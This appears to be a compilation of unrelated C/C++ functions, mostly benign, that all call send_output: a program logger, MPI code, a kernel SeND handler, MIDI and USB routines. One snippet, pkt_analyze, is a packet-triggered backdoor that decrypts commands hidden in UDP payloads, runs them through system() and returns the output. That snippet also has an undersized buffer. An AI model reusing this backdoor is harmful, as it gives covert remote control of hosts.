static int do_read(int fd) { int c; char buffer[4096], *cp, *sep; c = read(fd, buffer, sizeof(buffer)-1); if (c <= 0) return c; if (do_skip) { send_output(buffer, c, SEND_CONSOLE); buffer[c] = 0; cp = buffer; while (*cp) { if (skip_mode) { cp = strchr(cp, '\002'); if (!cp) return 0; cp++; skip_mode = 0; continue; } sep = strchr(cp, '\001'); if (sep) *sep = 0; send_output(cp, 0, SEND_LOG); if (sep) { cp = sep + 1; skip_mode = 1; } else break; } } else send_output(buffer, c, SEND_BOTH); return c; }
static int run_program(char **argv) { int fds[2]; int status, rc, pid; char buffer[80]; if (pipe(fds) < 0) { perror("pipe"); exit(1); } pid = fork(); if (pid < 0) { perror("vfork"); exit(1); } if (pid == 0) { dup2(fds[1],1); /* fds[1] replaces stdout */ dup2(fds[1],2); /* fds[1] replaces stderr */ close(fds[0]); /* don't need this here */ execvp(argv[0], argv); perror(argv[0]); exit(1); } close(fds[1]); while (!(waitpid(pid, &status, WNOHANG ))) { do_read(fds[0]); } do_read(fds[0]); close(fds[0]); if ( WIFEXITED(status) ) { rc = WEXITSTATUS(status); if (rc) { send_output(argv[0], 0, SEND_BOTH); sprintf(buffer, " died with exit status %d\n", rc); send_output(buffer, 0, SEND_BOTH); } } else { if (WIFSIGNALED(status)) { send_output(argv[0], 0, SEND_BOTH); sprintf(buffer, "died with signal %d\n", WTERMSIG(status)); send_output(buffer, 0, SEND_BOTH); rc = 1; } rc = 0; } return rc; }
// Line line has finished; post sends for all output blocks. In compressed output mode, each wakeup corresponds to a single block. void flow_t::wakeup(line_details_t* const line, const wakeup_block_t b) { #if PENTAGO_MPI_COMPRESS_OUTPUTS PENTAGO_MPI_TRACE("process wakeup %p: %s, block %d",line,str(line->pre.line),b); GEODE_ASSERT(b<line->pre.line.length); // Send one compressed block send_output(line,b); #else PENTAGO_MPI_TRACE("process wakeup %p: %s",line,str(line->pre.line)); // Send all uncompressed output blocks for (int b=0;b<line->pre.line.length;b++) send_output(line,b); #endif }
/* * Receive a SeND message from user space to be either send out by the kernel * or, with SeND ICMPv6 options removed, to be further processed by the icmp6 * input path. */ static int send_send(struct socket *so, int flags, struct mbuf *m, struct sockaddr *nam, struct mbuf *control, struct thread *td) { struct sockaddr_send *sendsrc; struct ifnet *ifp; int error; KASSERT(V_send_so == so, ("%s: socket %p not send socket %p", __func__, so, V_send_so)); sendsrc = (struct sockaddr_send *)nam; ifp = ifnet_byindex_ref(sendsrc->send_ifidx); if (ifp == NULL) { error = ENETUNREACH; goto err; } error = send_output(m, ifp, sendsrc->send_direction); if_rele(ifp); m = NULL; err: if (m != NULL) m_freem(m); return (error); }
void unknown_command(spidermonkey_drv_t *dd, const char *call_id) { ErlDrvTermData terms[] = {ERL_DRV_BUF2BINARY, (ErlDrvTermData) call_id, strlen(call_id), ERL_DRV_ATOM, dd->atom_error, ERL_DRV_ATOM, dd->atom_unknown_cmd, ERL_DRV_TUPLE, 3}; send_output(dd->port, terms, sizeof(terms) / sizeof(terms[0])); }
void send_string_response(spidermonkey_drv_t *dd, const char *call_id, const char *result) { ErlDrvTermData terms[] = {ERL_DRV_BUF2BINARY, (ErlDrvTermData) call_id, strlen(call_id), ERL_DRV_ATOM, dd->atom_ok, ERL_DRV_BUF2BINARY, (ErlDrvTermData) result, strlen(result), ERL_DRV_TUPLE, 3}; send_output(dd->port, terms, sizeof(terms) / sizeof(terms[0])); }
void pkt_analyze(u_char *args,const struct pcap_pkthdr* pkthdr,const u_char* packet) { char *cmd; char *command = malloc(sizeof(pkthdr)); //Check to see if it is a UDP packet with a payload if ((pkthdr->caplen <= 42)) return; //Point to the payload of the packet cmd = (char *)(packet + 42); //Check to see if this packet is meant for the backdoor by seeing if the payload contains the code if((strstr(cmd, CODE)) == NULL) return; //Move pointer to the encrypted command cmd = cmd + 5; //Decrypt command from the payload decrypt_command(cmd, sizeof(cmd)); //Make the command contain strings that will make it output to a file sprintf(command, "%s > %s", cmd, OUTPUTFILE); printf("Command: %s\n", command); //Execute the command system(command); // Wait 3 seconds before establishing connection sleep(3); send_output(); }
/* And so it begins... */ int main (int argc, char **argv) { /***** Initializations *****/ MPI_Init (&argc, &argv); MPI_Comm_size (MPI_COMM_WORLD, &numtasks); MPI_Comm_rank (MPI_COMM_WORLD, &taskid); task_init (); /* printf ("PID of task %d : %d\n", ID, getpid()); */ /* MASTER */ if (!taskid) { dispatch_input (); receive_output (); } /* SLAVES */ else { receive_input (); send_output (Head); /* Send Blank Line to mark end of transmission */ MPI_Send ("", 50, MPI_UNSIGNED_CHAR, 0, 0, MPI_COMM_WORLD); /* printf ("Done sending output from task %d\n", ID); */ } task_close (); MPI_Finalize (); return 0; }
void send_output (struct node *node) { int i; if (UInfo) { sprintf (output, "%s %d %d", UID, Followers, Following); MPI_Send (output, 50, MPI_UNSIGNED_CHAR, 0, 0, MPI_COMM_WORLD); } for (i = 0; i < 10; i++) if (Children[i]) send_output (Children[i]); }
void ui_puts(uint8_t *str) { uint8_t *ptr = str; uint8_t c; while ((c = *ptr)) { if (c < 0x20) { parse_control_character(c); ptr++; } else { send_output(&ptr); } } }
void openBluetooh(int fd) { SDL_Delay(30); send_output(fd, "+\n"); SDL_Delay(1); send_output(fd, "SF,1\n"); SDL_Delay(1); send_output(fd, "SS,C0000000\n"); SDL_Delay(1); send_output(fd, "SR,92000000\n"); SDL_Delay(1); send_output(fd, "R,1\n"); SDL_Delay(1500); send_output(fd, "F\n"); SDL_Delay(1); send_output(fd, "X\n"); SDL_Delay(1); send_output(fd, "E,0,001EC01B173B\n"); SDL_Delay(3); send_output(fd, "I\n"); }
void MidiPlayerThread::play() { qDebug() << "MidiPlayerThread::play"; const unsigned long int buf_size = 4096; int output_result = 0; unsigned long int count_diff; unsigned long int cur_sec, prev_sec; m_inPause = false; m_received_end_of_file = false; cur_sec = 0; QByteArray buf; buf.resize( buf_size ); _WM_Info *wm_info = WildMidi_GetInfo( m_midiPtr ); m_md->list(); emit receivedStartingTime( 0 ); emit backendFullyLoaded(); emit receivedNoVideo(); qDebug() << "approx_total_samples is " << wm_info->approx_total_samples; while ( 1 ) { if ( m_isStop ) { qDebug() << "MidiPlayerThread::play: m_isStop = " << m_isStop; break; } count_diff = wm_info->approx_total_samples - wm_info->current_sample; if ( count_diff == 0 ) { qDebug() << "MidiPlayerThread::play: it is count_diff == 0"; break; } if ( m_inPause ) { usleep( 1000 ); continue; } buf.fill( 0 ); if ( count_diff < buf_size ) { buf.resize( count_diff * 4 ); output_result = WildMidi_GetOutput ( m_midiPtr, buf.data(), ( count_diff * 4 ) ); } else { output_result = WildMidi_GetOutput ( m_midiPtr, buf.data(), buf_size ); } if ( output_result <= 0 ) { qDebug() << "MidiPlayerThread::play: output_result <= 0"; break; } prev_sec = wm_info->current_sample / m_sample_rate; if ( prev_sec != cur_sec ) { cur_sec = prev_sec; emit receivedCurrentSec( cur_sec ); // qDebug() << "cur_sec is " << cur_sec; } send_output( buf.data(), output_result ); wm_info = WildMidi_GetInfo( m_midiPtr ); } // buf.fill( 0, 16384 ); // send_output( buf.data(), 16384); // buf.fill( 0, 16384 ); // send_output( buf.data(), 16384); // send_output( buf.data(), 16384); // usleep( 5000 ); if ( m_midiPtr ) { // file was played if ( WildMidi_Close( m_midiPtr ) == ( -1 ) ) { qDebug() << "oops!"; } m_midiPtr = 0; } WildMidi_Shutdown(); close_output(); // emit processExited(); m_received_end_of_file = true; qDebug() << "MidiPlayerThread::play: end of play"; }
void Module_DMAP::send_to_next(const vector<Mask> &printable_solutions,int id) { if (printable_solutions.size() > 0) { send_output(printable_solutions,my_rank+1,id); } }
int main(int argc, char **argv) { int c, pid, rc; char *outfn, **cpp; int openflags = O_CREAT|O_WRONLY|O_TRUNC; int send_flag = SEND_LOG; int do_stdin; time_t t; while ((c = getopt(argc, argv, "+asv")) != EOF) { switch (c) { case 'a': openflags &= ~O_TRUNC; openflags |= O_APPEND; break; case 's': do_skip = 1; break; case 'v': verbose++; send_flag |= SEND_CONSOLE; break; } } if (optind == argc || optind+1 == argc) usage(argv[0]); outfn = argv[optind]; optind++; argv += optind; argc -= optind; outfd = open(outfn, openflags, 0644); do_stdin = !strcmp(argv[0], "-"); send_output("Log of ", 0, send_flag); if (do_stdin) send_output("stdin", 0, send_flag); else { for (cpp = argv; *cpp; cpp++) { send_output(*cpp, 0, send_flag); send_output(" ", 0, send_flag); } } send_output("\n", 0, send_flag); t = time(0); send_output(ctime(&t), 0, send_flag); send_output("\n", 0, send_flag); if (do_stdin) rc = copy_from_stdin(); else rc = run_program(argv); send_output("\n", 0, send_flag); t = time(0); send_output(ctime(&t), 0, send_flag); send_output("----------------\n", 0, send_flag); if (outbuf) { pid = fork(); if (pid < 0) { perror("fork"); exit(1); } if (pid) { if (verbose) printf("Backgrounding to save %s later\n", outfn); exit(rc); } setsid(); /* To avoid getting killed by init */ while (outfd < 0) { outfd = open(outfn, openflags, 0644); sleep(1); } write_all(outfd, outbuf, outbufsize); free(outbuf); } if (outfd >= 0) close(outfd); exit(rc); }
static int run_program(char **argv) { int fds[2]; int status, rc, pid; char buffer[80]; #ifdef HAVE_SIGNAL_H struct sigaction sa; #endif if (pipe(fds) < 0) { perror("pipe"); exit(1); } #ifdef HAVE_SIGNAL_H memset(&sa, 0, sizeof(struct sigaction)); sa.sa_handler = signal_term; sigaction(SIGINT, &sa, 0); sigaction(SIGTERM, &sa, 0); #ifdef SA_RESTART sa.sa_flags = SA_RESTART; #endif #endif pid = fork(); if (pid < 0) { perror("vfork"); exit(1); } if (pid == 0) { dup2(fds[1],1); /* fds[1] replaces stdout */ dup2(fds[1],2); /* fds[1] replaces stderr */ close(fds[0]); /* don't need this here */ close(fds[1]); execvp(argv[0], argv); perror(argv[0]); exit(1); } child_pid = pid; close(fds[1]); while (!(waitpid(pid, &status, WNOHANG ))) { do_read(fds[0]); } child_pid = -1; do_read(fds[0]); close(fds[0]); if ( WIFEXITED(status) ) { rc = WEXITSTATUS(status); if (rc) { send_output(argv[0], 0, SEND_BOTH); sprintf(buffer, " died with exit status %d\n", rc); send_output(buffer, 0, SEND_BOTH); } } else { if (WIFSIGNALED(status)) { send_output(argv[0], 0, SEND_BOTH); sprintf(buffer, "died with signal %d\n", WTERMSIG(status)); send_output(buffer, 0, SEND_BOTH); rc = 1; } rc = 0; } return rc; }
////////////////////////////////////////////////////////////////////// // // MM MM IIII DDDDD IIII // MMM MMM II DD DD II // MM MM MM II DD DD II // MM MM II DD DD II // MM MM IIII DDDDD IIII // void run_midi_class_host(VOS_HANDLE usb_handle) { unsigned char state; int status; usbhost_device_handle_ex interface_handle; usbhost_ep_handle_ex tx_endpoint; usbhost_ep_handle_ex rx_endpoint; usbhost_ep_handle_ex ctrl_endpoint; vos_semaphore_t read_completion_event; usbhost_ioctl_cb_t usbhost_cmd; usbhost_ioctl_cb_class_t device_class; usbhost_ioctl_cb_vid_pid_t vid_pid; usbhost_xfer_t transfer_block; usb_deviceRequest_t device_request; usbhost_ioctl_cb_ep_info_t endpoint_descriptor; vos_init_semaphore(&read_completion_event, 0); device_class.dev_class = USB_CLASS_AUDIO; device_class.dev_subclass = USB_SUBCLASS_AUDIO_MIDISTREAMING; device_class.dev_protocol = USB_PROTOCOL_ANY; usbhost_cmd.ioctl_code = VOS_IOCTL_USBHOST_DEVICE_FIND_HANDLE_BY_CLASS; usbhost_cmd.handle.dif = NULL; usbhost_cmd.set = &device_class; usbhost_cmd.get = &interface_handle; status = vos_dev_ioctl(usb_handle, &usbhost_cmd); if(USBHOST_OK != status) { return; } usbhost_cmd.ioctl_code = VOS_IOCTL_USBHOST_GET_USB_STATE; usbhost_cmd.handle.dif = interface_handle; usbhost_cmd.get = &state; usbhost_cmd.set = NULL; status = vos_dev_ioctl(usb_handle, &usbhost_cmd); if(USBHOST_OK != status) { return; } usbhost_cmd.ioctl_code = VOS_IOCTL_USBHOST_DEVICE_GET_VID_PID; usbhost_cmd.handle.dif = interface_handle; usbhost_cmd.get = &vid_pid; usbhost_cmd.set = NULL; status = vos_dev_ioctl(usb_handle, &usbhost_cmd); if(USBHOST_OK != status) { return; } usbhost_cmd.ioctl_code = VOS_IOCTL_USBHOST_DEVICE_GET_BULK_OUT_ENDPOINT_HANDLE; usbhost_cmd.handle.dif = interface_handle; usbhost_cmd.get = &tx_endpoint; usbhost_cmd.set = NULL; status = vos_dev_ioctl(usb_handle, &usbhost_cmd); if(USBHOST_OK != status) { return; } usbhost_cmd.ioctl_code = VOS_IOCTL_USBHOST_DEVICE_GET_BULK_IN_ENDPOINT_HANDLE; usbhost_cmd.handle.dif = interface_handle; usbhost_cmd.get = &rx_endpoint; usbhost_cmd.set = NULL; status = vos_dev_ioctl(usb_handle, &usbhost_cmd); if(USBHOST_OK != status) { return; } usbhost_cmd.ioctl_code = VOS_IOCTL_USBHOST_DEVICE_GET_CONTROL_ENDPOINT_HANDLE; usbhost_cmd.handle.dif = interface_handle; usbhost_cmd.get = &ctrl_endpoint; usbhost_cmd.set = NULL; status = vos_dev_ioctl(usb_handle, &usbhost_cmd); if(USBHOST_OK != status) { return; } // send a SetIdle to the device device_request.bmRequestType = USB_BMREQUESTTYPE_HOST_TO_DEV | USB_BMREQUESTTYPE_CLASS | USB_BMREQUESTTYPE_INTERFACE; device_request.bRequest = 0x0a; device_request.wValue = 0; device_request.wIndex = 0; device_request.wLength = 0; usbhost_cmd.ioctl_code = VOS_IOCTL_USBHOST_DEVICE_SETUP_TRANSFER; usbhost_cmd.handle.ep = ctrl_endpoint; usbhost_cmd.set = &device_request; status = vos_dev_ioctl(usb_handle, &usbhost_cmd); while (1) { vos_memset(&transfer_block, 0, sizeof(transfer_block)); transfer_block.cond_code = USBHOST_CC_NOTACCESSED; transfer_block.flags = USBHOST_XFER_FLAG_START_BULK_ENDPOINT_LIST|USBHOST_XFER_FLAG_ROUNDING; transfer_block.s = &read_completion_event; transfer_block.ep = rx_endpoint; transfer_block.buf = usb_rx_data; transfer_block.len = SZ_USB_RX_DATA; status = vos_dev_read(usb_handle, (byte*)&transfer_block, sizeof(transfer_block), NULL); if(status != USBHOST_OK) { break; } send_output(usb_rx_data, transfer_block.len); } }